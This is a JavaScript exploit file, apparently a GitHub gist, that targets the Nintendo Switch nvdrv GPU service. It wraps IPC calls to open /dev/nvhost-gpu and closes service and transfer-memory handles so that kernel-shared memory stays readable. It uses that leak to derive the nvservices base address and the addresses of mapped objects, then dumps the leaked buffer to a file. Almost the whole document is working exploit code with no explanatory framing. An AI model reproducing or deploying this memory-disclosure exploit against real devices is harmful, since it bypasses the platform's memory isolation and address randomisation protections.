var nvdev = function(name, hnd, tdsize) { | |
this.hnd = hnd; | |
var nbuf = utils.str2ab(name); | |
utils.dlog('Opening nvdev ' + name); | |
this.handle = window.sc.ipcMsg(0).data(tdsize).aDescriptor(nbuf, nbuf.byteLength, 0).sendTo(this.hnd).assertOk().data[0]; | |
utils.dlog('Handle: ' + this.handle.toString(16)); | |
window.sc.free(nbuf); | |
}; | |
nvdev.prototype.ioctl = function(num, buf) { | |
utils.dlog('Send ioctl'); | |
var resp = window.sc.ipcMsg(1).datau32(this.handle, num, 0, 0).aDescriptor(buf, buf.byteLength, 0).bDescriptor(buf, buf.byteLength, 0).xDescriptor(0, 0, 0).cDescriptor(0, 0).sendTo(this.hnd).assertOk(); | |
return resp.data[0]; | |
}; | |
nvdev.prototype.close = function() { | |
window.sc.ipcMsg(2).data(this.handle, 0).sendTo(this.hnd); | |
}; | |
var nvserv = function(tback) { | |
this.svchnd = window.sc.getService('nvdrv').assertOk(); | |
this.tback = tback; | |
this.tmem = window.sc.getArrayBufferAddr(this.tback); | |
this.thandle = window.sc.svcCreateTransferMemory(tback.buffer, 0).assertOk(); | |
window.sc.ipcMsg(3).datau32(this.tback.byteLength).copyHandle(0xffff8001).copyHandle(this.thandle).sendTo(this.svchnd).assertOk(); | |
}; | |
nvserv.prototype.open = function(name) { | |
return new nvdev(name, this.svchnd, this.tback.byteLength); | |
}; | |
nvserv.prototype.leak = function() { | |
window.sc.svcCloseHandle(this.svchnd).assertOk(); | |
window.sc.svcCloseHandle(this.thandle).assertOk(); | |
var is_leaked = false; | |
while (!is_leaked) { | |
is_leaked = (sc.svcQueryMem(this.tmem).assertOk()[3] == 'RW'); | |
} | |
return this.tmem; | |
}; | |
var nvown = function(tback) { | |
this.svc = new nvserv(tback); | |
this.gpu = this.svc.open('/dev/nvhost-gpu'); | |
}; | |
function leakPrev(size) { | |
var leaker = new nvown(new Uint32Array(1 * 1024 * 1024 / 4)); | |
var addr = leaker.svc.leak(); | |
var base = sc.read8(addr, 0x8008 >> 2); | |
leaker.svc.tback = null; | |
switch(size) { | |
case 1: | |
return utils.sub2(base, 0x8000); | |
case 8: | |
return utils.sub2(base, 0xc000); | |
case 64: | |
return utils.sub2(base, 0x2b000); | |
} | |
return base; | |
}; | |
var tback = new Uint32Array(1 * 1024 * 1024 / 4); | |
var obj1 = new nvown(tback); | |
obj1.svc.open('/dev/nvhost-gpu'); | |
var buf = obj1.svc.leak(); | |
var nvhost_channel = sc.read8(buf, 0xC000 >> 2); | |
var nvbase = utils.sub2(nvhost_channel, 0x61f910); | |
utils.log('nvservices base at ' + utils.paddr(nvbase)); | |
tback = obj1.svc.tback = null; | |
var temp = new nvown(new Uint32Array(1 * 1024 * 1024 / 4)); | |
var tempBase = leakPrev(1); | |
utils.log('address of current temp object mapping: ' + utils.paddr(tempBase)); | |
buf = temp.svc.leak(); | |
sc.memdump(buf, 1 * 1024 * 1024, "cdump.bin"); | |
var tempBase2 = utils.sub2(sc.read8(buf, 0x1008 >> 2), 0x1A48); | |
utils.log('confirming address from leaked buffer: ' + utils.paddr(tempBase2)); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment